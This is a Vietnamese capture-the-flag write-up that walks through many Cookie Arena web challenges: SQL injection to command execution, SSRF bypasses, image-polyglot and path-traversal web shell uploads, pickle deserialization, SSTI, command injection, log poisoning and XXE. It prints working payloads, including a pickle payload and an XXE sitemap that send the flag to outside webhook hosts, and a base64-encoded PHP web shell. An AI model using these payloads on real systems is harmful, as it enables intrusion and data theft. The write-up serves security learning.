# Wrietup Cookie Arena CTF ## Baby SQL Injection to RCE ![image](https://hackmd.io/_uploads/rJLjG-pXA.png) Bài này thuộc thể loại SQLi và yêu cầu mình RCE Lúc đầu mình có cắm thử sqlmap chạy thử một hồi xem sao thì dump được DB thì không có flag thật Và mình bắt đầu đi thử payoad ![image](https://hackmd.io/_uploads/Bk2KQ-6Q0.png) ![image](https://hackmd.io/_uploads/S1j6XZTX0.png) Ở đây nếu câu truy vấn đúng chúng ta sẽ được 'Welcome...', vì vậy dạng này mình sẽ dùng blind Sau một hồi research về dạng này mình đã tìm được một số thông tin hữu ích đó là: ![image](https://hackmd.io/_uploads/rkkYrZTX0.png) Khi mình kết thúc câu truy vấn thứ nhất bằng dấu ';' và thực hiện câu truy vấn thứ 2 thì mình có thể thực hiện được. Và điều này dẫn đoạn truy vấn inject cmdi sau đây ```SQL CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; ``` ![image](https://hackmd.io/_uploads/rJ49UWTmC.png) Tuy nhiên sau thi thực hiện các truy vấn trên thì ta không thấy bất kì thông tin gì được hiện ra vì nó ở dạng blind Nên mình đã nghĩ áp dụng một số cách theo cmdi Thay vì dùng id mình sẽ dùng curl để đọc kết quả thực thi ![image](https://hackmd.io/_uploads/rJM9vbpmC.png) ![image](https://hackmd.io/_uploads/SkK5w-TQA.png) Sau đó mình sử các payload sau Payload này dùng để chuyển đầu ra của lệnh `ls /` ra một file ![image](https://hackmd.io/_uploads/BJ_cub6QC.png) Sau đó ta đọc file ![image](https://hackmd.io/_uploads/H1BtdZ6QA.png) ![image](https://hackmd.io/_uploads/SJU9t-67R.png) Và chỉ có thế thôi ... ![image](https://hackmd.io/_uploads/HkVR5-T7R.png) ![image](https://hackmd.io/_uploads/r1X2qWT70.png) ## The Evil Assignment on Canvas ![image](https://hackmd.io/_uploads/S1zLk0aX0.png) Bài này thuộc thể loại file upload ![image](https://hackmd.io/_uploads/ry5Jl0T7R.png) Bài này chỉ chấp nhận upload ảnh có đuôi file jpg/jpeg Mình thử chèn shell vào thử nhưng cũng bị chặn ![image](https://hackmd.io/_uploads/ryRil0a7C.png) Nên mình nghĩ bài này nó dựa vào các byte để xem có file là các byte hợp lệ của một ảnh hay không Vì vậy sử dụng exiftool để chèn nội dung shell vào ảnh ![image](https://hackmd.io/_uploads/ByK7Z0aQ0.png) ![image](https://hackmd.io/_uploads/BybE-R67C.png) Sau đó upload file với đuôi là .jpeg.php để server nhận biết là đây là một file php và đọc nội dùng shell ẩn trong ảnh ![image](https://hackmd.io/_uploads/SJukMA6QA.png) ![image](https://hackmd.io/_uploads/ByrHf0a70.png) ## Crawling Đây là một bài liên quan đến ssrf ![image](https://hackmd.io/_uploads/ryFBiM4SC.png) Khi ta nhập một url vào thì nó crawling dữ liệu từ url đó về ![image](https://hackmd.io/_uploads/ByhsjzErR.png) Và flag nằm ở localhost:1337/admin hint từ đề bài và mình bắt đầu đi thử các trường hợp có thể: ``` http://localhost:1337/admin http://127.0.0.1:1337/admin http://fbi.com:1337/admin http://2130706433:1337/admin file:///etc/passwd ``` Tất cả đều không hoạt động, vì vậy mình nghĩ nó đã bị filter Và mình có đọc được sử dụng redirect, tức là khi truy cập vào một url nó sẽ hướng chúng ta đến một trang web khác với mã trả về là 301 Vì thế ý tưởng là mình sẽ tạo ra một mã php ```php! <?php // Địa chỉ URL bạn muốn chuyển hướng đến $url = 'http://127.0.0.1:1337/admin; header('Location: ' . $url); exit(); ?> ``` Nhưng tuy nhiên nó chỉ hoạt động ở local, và bây giờ mình cần đưa nó ra internet bằng cách sử dụng ngrok ![image](https://hackmd.io/_uploads/BJ2WafNrA.png) Sau đó copy đường link vào thanh url là có flag ![image](https://hackmd.io/_uploads/HkyLafNrR.png) ## Baby Simple Go CURL ![image](https://hackmd.io/_uploads/S1_b00yD0.png) ![image](https://hackmd.io/_uploads/SJbzAAJD0.png) Bài thuộc dạng ssrf bypass Đọc source thì chúng ta thấy đoạn code sử dụng c.ClientIP() ```go if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) { c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"}) return } ``` Sau đó ta research một số thông tin về hàm này ![image](https://hackmd.io/_uploads/r1WXCAkD0.png) Đồng thời điều kiện ở đoạn code trên có sự xung đột, nếu ip là 127.0.0.1 và có chưa flag thì điều kiện sai nên ta có thể bypass được đoạn trên ```go r.GET("/flag/", func(c *gin.Context) { reqIP := strings.Split(c.Request.RemoteAddr, ":")[0] log.Println("[+] IP : " + reqIP) if reqIP == "127.0.0.1" { c.JSON(http.StatusOK, gin.H{ "message": flag, }) return } c.JSON(http.StatusBadRequest, gin.H{ "message": "You are a Guest, This is only for Host", }) }) ``` Ở đoạn này thì chương trình sử dụng `c.Request.RemoteAddr` Tương tự như trên đoạn này cũng sử dụng `X-Forwarded-For` để lấy ip nếu có Nên ở đây đơn giản là ta sẽ bypass bằng cách này ![image](https://hackmd.io/_uploads/ryKmACkDA.png) Flag: `CHH{Serv3r_S1De_R3qu3s7_G0_cuRL_d4360972c4e2760efda323bdd139941a}` ## Baby-Assert Link challenge: https://battle.cookiearena.org/challenges/web/baby-assert ![image](https://hackmd.io/_uploads/SkSWyylPR.png) Đề gợi ý liên quan đến hàm assert(), sau khi research thì mình được biết nếu truyền một string vào assert() thì nó sẽ hoạt động giống như hàm eval() và Hàm eval() thực thi đoạn mã từ một chuỗi Exploit: ![image](https://hackmd.io/_uploads/Bkh-kygvA.png) Tham khảo: https://www.excelinfosec.com/2023/04/how-to-exploit-php-assert-function.html ## Baby File Inclusion ![image](https://hackmd.io/_uploads/BkEdgklvA.png) Bài này sử dụng exiftool để chèn shell vào ảnh `exiftool -Comment="<?php system('cat /flag*'); ?>" image.png -o shell.png"` ![image](https://hackmd.io/_uploads/HkRBl1xvR.png) ## Baby Strcmp Link challenges: https://battle.cookiearena.org/challenges/web/baby-strcmp Sau khi reaserch một hồi thì mình hiểu là chương trình sẽ sử dụng hàm strcmp() để so sánh biến flag do mình nhập vào với tên biến flag của server. Chắc chắn cái này ai thần mới nghĩ ra nên mình nghĩ sẽ có cách bypass strcmp(). ![image](https://hackmd.io/_uploads/HJFpgkxwA.png) Ở đây chương trình có nhận một post request là flag, giải sử giờ mình nhập vào rỗng thì $\_POST['flag'] = NULL, mà NULL == 0 trong php. Do đó `strcmp(0, 'foo') => 1` ![image](https://hackmd.io/_uploads/BkFCeylP0.png) Research: https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016 https://www.php.net/manual/en/function.strcmp.php ## Command Limit Length Link: https://battle.cookiearena.org/challenges/web/command-limit-length ![image](https://hackmd.io/_uploads/ry_z-1xvR.png) Bài này liên quan đến cmli, nhưng bị filter một vài lệnh và giới hạn chỉ 5 kí tự Source php: ```php $title = "Baby RCE Bonepest"; $description = "Baby RCE Bonepest"; $message = "You only use id` and `ps` command"; $start = $_GET['start']; $blacklist = array ( 'ss, 'sc', 'aa', 'od', 'pr', 'pw', 'pf', 'ps', 'pa', 'pd', 'pp', 'po', 'pc', 'pz', 'pq', 'pu', 'pv', 'pw', 'px', 'ls', 'dd', 'nl', 'nk', 'df', 'wc', 'du', 'll', 'rm', 'vi', 'ln', 'cp', 'sh', 'su', 'ex', 'ab' ); $valid = true; foreach($blacklist as $blackItem) { if(strpos($start, $blackItem) !== false) { $valid = false; break; } } if(!$valid) { $message = 'Please enter a valid command!'; } else { if (strlen($start) < 5) { $message = shell_exec($start); if(empty($message)) { $message = "Command not found"; } } else { $message = "The command is not greater than 5 characters!"; } } ?> ``` Mình đã gặp dạng này khá nhiều và kinh nghiệm lần trước đó mách bảo mình sử dụng lệnh m4 cũng có tác dụng tương tự để đọc file payload: `m4 *` ![image](https://hackmd.io/_uploads/Bkg7bylwR.png) ## Escape the session ![image](https://hackmd.io/_uploads/BJ5Lb1lPA.png) Bài này khá hay và thú vị, sau khi đọc code thì mình phát hiện nó liên quan đến Python deserializes data sử dụng module pickle Đoạn code quan trọng ```python data = base64.b64encode(pickle.dumps(info)).decode('utf8') ``` Đoạn này có nhiệm vụ serialize dữ liệu chúng ta nhập vào, tuy nhiên nó không quan trọng lắm ```python @app.route('/check_session', methods=['GET', 'POST']) @limiter.limit("5/second") def check_session(): if request.method == 'GET': return render_template('check_session.jinja2') elif request.method == 'POST': session = request.form.get('session', '') try: info = pickle.loads(base64.b64decode(session)) except: info = "Invalid session!" return render_template('check_session.jinja2', info=info) ``` Chúng ta cần quan tâm đến đoạn code này có nhiệm vụ deserialize từ một đoạn đã serialize mà không có lớp bảo vệ, ở đây chúng ta chỉ cần sử dụng đến /check_session ![image](https://hackmd.io/_uploads/SkFD-ylPA.png) ```python import pickle import base64 class PickleRCE(object): def __reduce__(self): import os return (os.system,('curl --data "@/flag.txt" https://webhook.site/8a273071-a70b-442b-a573-cf5e8581df43',)) payload = base64.b64encode(pickle.dumps(PickleRCE())) # Crafting Payload print(payload) ``` Đây là đoạn mã dùng để tạo ra session, lí do mình dùng webhook là vì lúc đầu mình RCE trực tiếp thì không thấy nó hiển thị ra cái gì, vì vậy mình thực hiện nó ở dụng blind ![image](https://hackmd.io/_uploads/ByldZyxPC.png) ## Flawed validation of file content Link: https://battle.cookiearena.org/challenges/web/flawed-validation-of-file-content ![image](https://hackmd.io/_uploads/B1o5bkewR.png) Bài này liên quan tới file upload sử dụng fake các byte của file ảnh như trong mô tả của challenge Kỹ thuật này có tên `Remote code execution via polyglot web shell upload` Chúng ta sẽ sử dụng công cụ exiftool để chèn payload vào trong ảnh ``` exiftool -Comment="<?php echo 'START:'; system(id); ?>" dowload.jpg -O shell.jpg ``` Sau đó chúng ta chỉ cần upload file ![image](https://hackmd.io/_uploads/BJdjWklDR.png) Tuy nhiên nếu chỉ upload thì vẫn chưa xong ![image](https://hackmd.io/_uploads/Byx-hZJgwC.png) Phân tích thì chúng ta thấy nếu để thực thi được shell thì phải là file .php, vì vậy chúng ta chỉ cần thay đổi đuôi file đi là được. ![image](https://hackmd.io/_uploads/Hyih-1lD0.png) ![image](https://hackmd.io/_uploads/rkSaZJgvC.png) Chú ý: Chúng ta hoàn toàn có thể chỉnh sửa payload của file ảnh khi chỉnh sửa request trong Repeater Flag: CHH{POLY6L0T_jpEG_58261a5e8445c06b9f0cffecea802495} Nguồn tham khảo: https://viblo.asia/p/file-upload-vulnerabilities-cac-lo-hong-upload-tep-tin-phan-3-WR5JRDndVGv ## Insufficient blacklisting file types Link: https://battle.cookiearena.org/challenges/web/insufficient-blacklisting-file-types ![image](https://hackmd.io/_uploads/Hy8lMJePC.png) Bài này là dạng upload file, nhưng bị filter các đuôi Vì mình cũng vừa làm một bài tương tự và thử sử dụng .htacces thì không, tuy nhiên ở challenge này thì webserver là apache nên khả năng dùng .htaccess được ![image](https://hackmd.io/_uploads/SyoxMJxPC.png) Chúng ta sẽ thêm đoạn này vào .htaccess, vì trong apache file này sẽ phải ở chung với thư mục chưa file ``` AddType application/x-httpd-php .l33t ``` ![image](https://hackmd.io/_uploads/B1YZG1gwC.png) Đoạn trên có ý nghĩa là báo cho apache biết .l33t sẽ được xử lý giống như các file php, do đó giờ ta chỉ cần upload shell tuỳ ý ![image](https://hackmd.io/_uploads/rykfzJlPR.png) ![image](https://hackmd.io/_uploads/HJQGzyeDC.png) ## Likeness ![image](https://hackmd.io/_uploads/BktUfklDR.png) Bài này liên quan tới SQLi như tiêu đề của nó ![image](https://hackmd.io/_uploads/SJbDfklvR.png) Bài này cho luôn source nên tiến hành đọc qua thì nôm na là mình chỉ cần nhập vào lastname thì nó sẽ hiện thị ra một bảng ![image](https://hackmd.io/_uploads/ryKwzklvA.png) Vì source đã cho sẵn một bảng được tạo ```python cur.execute(''' CREATE TABLE authors(first, middle, last) ''') cur.execute(f''' INSERT INTO authors VALUES ("Tobias", '', "Smollett"), ("William", '', "Shakespeare"), ("Edward", "Morgan", "Forster"), ("George", "", "Eliot"), ("Louisa", "May", "Alcott"), ("Lucy", "Maud", "Montgomery"), ("Frank", "T.", "Merill"), ("Herman", "", "Melville"), ("Alexandre", "", "Dumas"), ("Elizabeth", "", "Von Arnim"), ("Pseudonymous", "Unpuzzler7", "{open("/flag.txt").read()}") ''') ``` Tuy nhiên bài này cũng không thể xử lý theo kiểu error_base, union_base, blind được vì đoạn code đã được xử lý an toàn ```python res = cur.execute("SELECT * from authors where last LIKE ?", (request.args['lastname'].replace("%", ""),)) ``` Sau một hồi mò mẫn thì mình thấy có một lỗi xuất hiện là SQLi via underscore ![image](https://hackmd.io/_uploads/BkBOMJlvA.png) Nhìn vào đây thì ta cũng hiểu nó xảy như nào, tức là dấu _ hoàn toàn hợp lệ trong câu truy vấn này. Chỉ cẩn 1 kí tự đúng trong chuỗi và các dấu _ hợp lại bằng đúng length của chuỗi có trong cột lastname thì nó sẽ là đúng. Vì vậy ở đây mình sẽ thử sử dụng nhiều dấu _ để tìm flag, vì flag=CHH{... Vì vậy mình sẽ thử cho đến khi vừa với kích thước của flag là được ![image](https://hackmd.io/_uploads/SJpOGygPC.png) Bài này chú ý nếu viết script để khai thác là vì có litmit 5 giây/request ``` @app.route('/', methods=["GET"]) @limiter.limit("5/second") ``` Flag: CHH{$QL_1ikE_peC3n7a9E_b7099aec8d2d32ea6dba7dc3594a3654} ## Neonify ![image](https://hackmd.io/_uploads/S1o3zkxDC.png) Bài này là một dạng ssti theo như tag của bài cho và nó liên quan đến thư viện ERB của ruby Mình bắt đầu đầu thử mẫu và bị filter nặng nề :(, Bài này nó chỉ chấp nhận a-zA-Z0-9 ngoài cái này thì không được Và mình bắt đầu loay hoay tìm cách bypass, và tham khảo được một số cách Đó là trong ruby thì filter này chỉ áp dụng cho đầu chuỗi đến cuối chuỗi, và nếu chúng ta cho thêm một kí tự xuống dòng \n thì sẽ bypass thành công Do vậy payload: ![image](https://hackmd.io/_uploads/BkgpG1xvC.png) ![image](https://hackmd.io/_uploads/SkSpM1ePA.png) RCE thành công Flag: CHH{Ne0niFY_5s7i_erB_f9a116fc7f78aab700d2c038229afe3c} ## Obfuscating file extensions Link: https://battle.cookiearena.org/challenges/web/obfuscating-file-extensions Bài này liên quan tới upload file và bị filter bởi các đuôi .php, .php3 ... ![image](https://hackmd.io/_uploads/Bk-lQ1lDA.png) Mình bắt đầu tiến hành test thử challenge Lúc đầu mình sử dụng .htaccess để xem sao nhưng không hoạt động vì bài này sử dụng server ngnix, mà .htaccess của apache -> bỏ ![image](https://hackmd.io/_uploads/BkIlX1eDR.png) Sau một hồi tìm cách filter thì mình bỗng dưng thử được cách đúng ![image](https://hackmd.io/_uploads/r12xm1lDR.png) Chương trình xoá .php bằng cách phân tích đuôi và xem nếu là .php thì remove Và thế là chúng ta RCE được Flag: CHH{obFusc@7IN6_Fi13_eXtEns10ns_cffe37525ae4937e7a8254c967fa795b} ## PHP có làm em lo lắng ![image](https://hackmd.io/_uploads/H1kQQygwA.png) Bài này khá hay liên quan tới cmli Ban đầu mình cũng không biết cmli được injec vào đâu khi mò một lúc thì mình thấy có thể thay đổi được tên file được lưu Vì dữ liệuc được chuyển sang .csv 1,user,date ... Trong đó dữ liệu có lưu user và hiện thị ra ngoài, vì vậy mình có thể đổi thên file thành .php vào chèn shell vào username lúc đăng kí, hơn nữa server là nginx nên mình cũng khá chắc cách này là được ![image](https://hackmd.io/_uploads/SJrXmylvR.png) Sau đó mình đổi tên file ![image](https://hackmd.io/_uploads/SJjmQ1eDA.png) ![image](https://hackmd.io/_uploads/B1lV7ylDA.png) ## PHP Inclusion Link challenge: https://battle.cookiearena.org/challenges/web/php-inclusion ![image](https://hackmd.io/_uploads/r1NcX1lP0.png) Đề cho là php inclusion, cứ vậy mà exploit thôi Đặc điểm như này nghĩ ngayy tới php wrapper, và mình thử các payload kiếm trên hacktrick. Sau một hồi thử thì mình kiếm được payload: ![image](https://hackmd.io/_uploads/r1u57yxwR.png) payload sử dụng php://filler để inclule file flag(vì trong source mình đã biết vị trí của flag) và chuyển nội dung sang dạng base64 Source bịp =)) thường trong các bài ctf sẽ phải thử hết các trường hợp mà tên file flag được đặt, flag, flag.txt, flag.php... ## PHP Inclusion to RCE Link challenge: https://battle.cookiearena.org/challenges/web/php-inclusion-to-rce ![image](https://hackmd.io/_uploads/BJ3CXyxPC.png) Như tiêu đề thì đây là LFI và mình phải tìm cách RCE chứ không phải một phát ăn luôn ![image](https://hackmd.io/_uploads/S1xyNkewR.png) Trong source thì flag ở root nhưng tên file flag đã được thêm mắm muối không thể đoán, mình fuzz thử xem thế nào. Nhưng trước khi fuzz thì mình search xem có cách nào để RCE không thì tìm được được kĩ thuật `LFI to RCE via log Poisoning` có nghĩ là mình sẽ phải tìm xem log của dịch vụ nào có thể đọc và ghi được không. ![image](https://hackmd.io/_uploads/B1w14JxDC.png) Vì webserver là Ngix nên mình thử một số payload: ![image](https://hackmd.io/_uploads/BkskEkewC.png) ở đây nó filter ../->'' nên mình dùng payload trên ![image](https://hackmd.io/_uploads/rygxVklw0.png) Giờ mình cần tạo ra lỗi khi request ![image](https://hackmd.io/_uploads/BJHeEJxvC.png) Phải send 2 lần mới nhìn thấy, và rồi lấy flag thôi ![image](https://hackmd.io/_uploads/ByKg4JgDA.png) ## Simple SSTI ![image](https://hackmd.io/_uploads/SJqUVkxPC.png) Như tiêu đề thì bài này liên quan đến ssti, tuy nhiên phải thử thì mới biết được nó dùng thư viện nào. ![image](https://hackmd.io/_uploads/BJ1v4ygv0.png) Nhìn như này thì khả năng cao được viết bằng python, vì vậy mình tiến hành đi test các payload ``` {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` ![image](https://hackmd.io/_uploads/ryNPNklv0.png) Và giờ mình chỉ cần đọc flag là được ``` {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }} ``` ![image](https://hackmd.io/_uploads/Sy3wEJxDC.png) Tuy nhiên lại không đọc được, sau khi mình thử mấy lần thì thấy khả năng cao là '/' không được chấp nhận, nên mình tìm cách bypass ``` cat ${HOME:0:1}etc${HOME:0:1}passwd ``` Đoạn này sẽ giúp chúng ta bypass được dấu /, liên quan tới command injection Chall này khá hay kết hợp cả ssti và cmli bypass ![image](https://hackmd.io/_uploads/rkbdV1xPR.png) Source reference: https://viblo.asia/p/server-side-template-injection-vulnerabilities-ssti-cac-lo-hong-ssti-phan-2-qPoL775jLvk ## Time Đọc code thì thấy bài này liên quan đến comand injection Mình sẽ show đoạn code cần quan tâm Nôm na đoạn này ta chỉ cần thêm tham số /?format=... ```php <?php class TimeController { public function index($router) { $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S'; $time = new TimeModel($format); return $router->view('index', ['time' => $time->getTime()]); } } ``` Hàm này sẽ thực thi nhưng chú ý ta cần phải bypass commnad ```php <?php class TimeModel { public function __construct($format) { $this->command = "date '+" . $format . "' 2>&1"; } public function getTime() { $time = exec($this->command); $res = isset($time) ? $time : '?'; return $res; } } ``` Payload: ``` GET /?format=%Y-%m-%d%2b%H:%M:%S'|cat+/flag*+%23 HTTP/1.1 Host: 18.143.200.117:31210 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 ``` Source: https://book.hacktricks.xyz/pentesting-web/command-injection Flag: CHH{datE_7iME_c0MManD_iNjectI0n_7edc7a102e657201d6e981c301a2722c} ## Unzip me now ![image](https://hackmd.io/_uploads/Hk-0VyxPC.png) Bài này liên quan đến upload file bằng file zip, như tiêu đề thì mình search thấy ngay có một file thuật liên quan đến vấn đề này. Hãy lên hack trick để tìm ``` ln -s ../../../flag.txt test.txt zip --symlinks test.zip test.txt ``` Ban đầu ta tạo một symlink liên kết trực tiếp tới file test.txt Sau đó nén nó lại, và khi giải nén với option syslinks thì file vẫn là một symlink và đi đọc nó sẽ link tới /flag.txt Flag: CHH{zIPpy_PATH_tRAvERS4l_7b702e6eddbd29d423facb5af456afff} ## Upload File Path Traversal Link challenges: https://battle.cookiearena.org/challenges/web/upload-file-path-traversal ![image](https://hackmd.io/_uploads/S1IWHyxPA.png) Nhìn qua thì đoán chắc đây là upload file và cần phải upload shell ![image](https://hackmd.io/_uploads/Sk5ZSyeDR.png) Payload lúc đầu mình upload một shell nhưng với đuôi là .jpeg sau đó intercep để sửa thành .php ![image](https://hackmd.io/_uploads/Sy1MH1lvR.png) Nhưng sau đó thì truy cập tới file vừa gửi lên thì gặp 403, mình đoán là đề cố tình không cho truy cập vào upload. Vậy thì cách đơn giản là lưu file shell.php ở chỗ khác bằng cách: ![image](https://hackmd.io/_uploads/r1EzSygDC.png) Ở đây mình đã sửa `filename=../shellscript.php` để lưu shell cùng với thư mục với chứ upload và thế là được. Và ở đây shell mình đã thay đổi để đọc flag cho nhanh. ![image](https://hackmd.io/_uploads/r1_MB1gDR.png) ## File upload via PUT method ![image](https://hackmd.io/_uploads/S1hPbADKR.png) Như đề bài thì chúng ta sẽ cần upload file bằng PUT method. Tìm kiếm một hồi thì mình tìm được đoạn upload này: ``` curl http://myservice --upload-file file.txt ``` Và giờ mình chỉ cần tạo shell viết bằng php là được. ![image](https://hackmd.io/_uploads/S1pUGRwtR.png) ![image](https://hackmd.io/_uploads/H1tdGAPF0.png) ![image](https://hackmd.io/_uploads/B1VifCvFA.png) ## Repay Bank ![image](https://hackmd.io/_uploads/H1Qsp5qjR.png) Bài này yêu cầu chúng ta đăng nhập đúng usr, pass thì sẽ nhận được flag. /robots.txt sẽ cho chúng ta thông tin về trang login in ![image](https://hackmd.io/_uploads/BytX095oC.png) Ở đây ta thấy nhân viên cty sẽ được cấp tài khoản theo kiểu thế này, và password mặc định luôn là Repay@2024. Vì vậy giờ chúng ta chỉ cần tìm nhân viên vào chưa đổi password là được. /about.html sẽ cho chúng ta về các nhân viên của cty ![image](https://hackmd.io/_uploads/SJJ905qjR.png) Mình lập được list user: ``` s.fergus c.shaun b.hugo d.sophie k.steven ``` ![image](https://hackmd.io/_uploads/rkGhR55oR.png) Và chúng ta đã tìm ra người chưa đổi password ## System Monitor ![image](https://hackmd.io/_uploads/r1Q5lgijR.png) Khi ta bấm vào Analyze thì chương trình sẽ đọc cả file log cho chúng ta. Vào burpsuite chúng thấy: ![image](https://hackmd.io/_uploads/rJyxWgjsC.png) Thử thay đổi đường dẫn thành /etc/passwd thì ta leak được Tuy nhiên ban đầy mình nghĩ theo hướng chèn payload vào user-agent để thực thi mã php nhưng không. Nhưng sau đấy mình thử cmdi blind tại trường log_file thì có kết quả ![image](https://hackmd.io/_uploads/rkScbgsoA.png) ![image](https://hackmd.io/_uploads/B135bessR.png) Và giờ mình có 2 hướng đó là đọc file trực tiếp của server thông qua lệnh curl ![image](https://hackmd.io/_uploads/r1TxzgjiC.png) ![image](https://hackmd.io/_uploads/rygzMlosA.png) Tuy nhiên rất may mắn là flag ở đây là flag.txt giải sử ở bài này flag không đơn thuần tên như vậy thì ta phải RCE. Mình có cách khá hay để RCE đó là thực hiện bất kì lệnh nào ta muốn sau đó chuyển vào một file trong /tmp/leak.txt và sau đó chúng đọc file giống kĩ thuật trên. ![image](https://hackmd.io/_uploads/Byf6zliiR.png) Và đây là payload chúng ta có thể RCE được. ![image](https://hackmd.io/_uploads/SJAhfesiA.png) ## Cookie Crawler Engine ![image](https://hackmd.io/_uploads/SkujOv2oC.png) ![image](https://hackmd.io/_uploads/HyLzYDniA.png) Như yêu cầu của bài thì chúng ta sẽ cần cung cấp một url có chứa /sitemap.xml. Nó sẽ lọc các thẻ và lấy ``<loc></loc>`` sau đó thực hiện http request tới đó. Sau khi research một hồi mình có tham khảo được bug được report trên hackerone: https://hackerone.com/reports/1156748 Payload: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE urlset [ <!ENTITY test "http://3w08qawnfps20058i36ry912ttzkndb2.oastify.com"> <!ENTITY file SYSTEM "file:///flag.txt"> ]> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> <url> <loc>&test;?&file;</loc> </url> </urlset> ``` Giải thích payload: Khai báo 2 ENTITY, file là flag, test là url để khi server gửi http request tới thì flag cũng sẽ đi theo cùng theo kiểu ``http://example.com?CHH{....}`` Sau đó mình push đoạn này lên git và gửi với dạng raw ![image](https://hackmd.io/_uploads/ByzRFw2jC.png) ![image](https://hackmd.io/_uploads/rJuJ9D3iC.png) ![image](https://hackmd.io/_uploads/B1C8qPnoR.png) ## NSLookup ![image](https://hackmd.io/_uploads/BJqYTahoR.png) Bài này web thực hiện lệnh nslookup với các tên miền. Nhìn qua chúng ta cũng biết là command injection, tuy nhiên nó đã bị filter. ![image](https://hackmd.io/_uploads/Sk1b0ahjA.png) Đoạn filter chỉ yêu cầu chúng ta nhập đúng kiểu của tên miền và ngoài ra không được phép kí tự nào khác. Trong source chúng ta có thể thấy đoạn code này, tuy nhiên nó được đặt trong thẻ script chúng ta hoàn toàn có thể bỏ qua nó bằng đoạn code sau nhúng nó vào console: ```javascript validateForm = function() { return true; }; ``` Tuy nhiên khi bypass được nhưng các lệnh cũng bị detect như cat, ls, ... Và ở đây mình thử có lệnh `echo` là vẫn sử dụng được. Nên ý tưởng ở đây là mình sẽ chèn shell php vào file shell.php thông qua lệnh echo, sau đó truy cập tới /shell.php. ```php echo "<?php system('id'); ?>" > shell.php ``` Nôm na thì ý tưởng sẽ như này. Còn mình muốn cho web shell trực quan và dễ dùng hơn nên mình sử dụng đoạn code sau: ```html <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd'] . ' 2>&1'); } ?> </pre> </body> </html> ``` Ở đây để cho dễ dàng mình sẽ encode base64 đoạn này và chuyển nó vào file shell. ``` google'; echo 'PGh0bWw+DQo8Ym9keT4NCjxmb3JtIG1ldGhvZD0iR0VUIiBuYW1lPSI8P3BocCBlY2hvIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsgPz4iPg0KPGlucHV0IHR5cGU9IlRFWFQiIG5hbWU9ImNtZCIgYXV0b2ZvY3VzIGlkPSJjbWQiIHNpemU9IjgwIj4NCjxpbnB1dCB0eXBlPSJTVUJNSVQiIHZhbHVlPSJFeGVjdXRlIj4NCjwvZm9ybT4NCjxwcmU+DQo8P3BocA0KICAgIGlmKGlzc2V0KCRfR0VUWydjbWQnXSkpDQogICAgew0KICAgICAgICBzeXN0ZW0oJF9HRVRbJ2NtZCddIC4gJyAyPiYxJyk7DQogICAgfQ0KPz4NCjwvcHJlPg0KPC9ib2R5Pg0KPC9odG1sPg==' | base64 --decode > shell1.php # ``` Đây là payload để tạo shell của mình. Sau đó chúng ta vào /shell1.php để thực thi shell. ![image](https://hackmd.io/_uploads/Hy2sMAni0.png) Tuy nhiên một số lệnh lại bị chặn ![image](https://hackmd.io/_uploads/H14pGC2s0.png) Mình đã test dần các lệnh và tìm ra flag ![image](https://hackmd.io/_uploads/B1mg7R3sR.png) ![image](https://hackmd.io/_uploads/SJbUXRnj0.png) ## Curriculum vitae ![image](https://hackmd.io/_uploads/HJEh03RoR.png) Bài này nhìn qua chỉ là một cái CV bao gồm thông tin của một lập trình viên. Và kéo xuống dưới sẽ phần login ![image](https://hackmd.io/_uploads/B1_11TRoA.png) Tuy nhiên chúng ta phải có password của john, mình nghĩ bài này sẽ phải brutefoce với một wordlist có sẵn. Nhưng ở bài này khi view source chúng ta sẽ được gợi ý một số thông tin. ![image](https://hackmd.io/_uploads/Hkb8kT0iC.png) Phần chữ xanh đã phần nào tiết lộ sẽ là một tool dùng để tạo ra password dựa trên các thông tin các nhân của user. Tiến hành cài đặt và dùng thử thì nó đã tạo cho mình một wordlist dựa trên đặc điểm của user như: fisrtname, Lastname, date of birth, Pet Name ... Sau đó ta tiến hành bruteforce: ![image](https://hackmd.io/_uploads/rJ2ll6Ao0.png) Và chúng ta đã thành công brutefoce được password. ![image](https://hackmd.io/_uploads/Sk9rxTCiR.png) Khi login vào thì chúng ta được chuyển đến trang này là trang chúng ta có thể update lại CV. ![image](https://hackmd.io/_uploads/Hy1KxpAiA.png) Nhìn vào tham số GET thì chúng ta có thể ngầm đoán ở đây xuất hiện lỗi nào đó liên qua đến đọc file. ![image](https://hackmd.io/_uploads/SJ7peaRsA.png) Và đúng như mình dự đoán chương trình đã sử dụng hàm nào đó để đọc một file bất kì trên server dựa vào tham số file Đồng thời trước đố mình view source thì thấy có tồn tại một file myfile.php ![image](https://hackmd.io/_uploads/Syuu-aRjR.png) ![image](https://hackmd.io/_uploads/SkKK-aRo0.png) Nội dung file là hiện thị tất cả các file trong /www Vậy chúng ta hãy sử đụng lỗ hổng ở trên để đọc các file ở trong đây xem có thể khai thác được gì không. Và ở đây chúng ta hoàn toàn có quyền sửa file .php thành một file chưa web shell tuỳ ý. Vì vậy mình sẽ sửa file test.php thành một web shell. ![image](https://hackmd.io/_uploads/HyQGMT0oA.png) Đơn giản bây giờ chúng ta chỉ sửa lại file thành một file shell code là xong. ![image](https://hackmd.io/_uploads/HkHvf6AjR.png) Thành công lấy được flag. ## The World 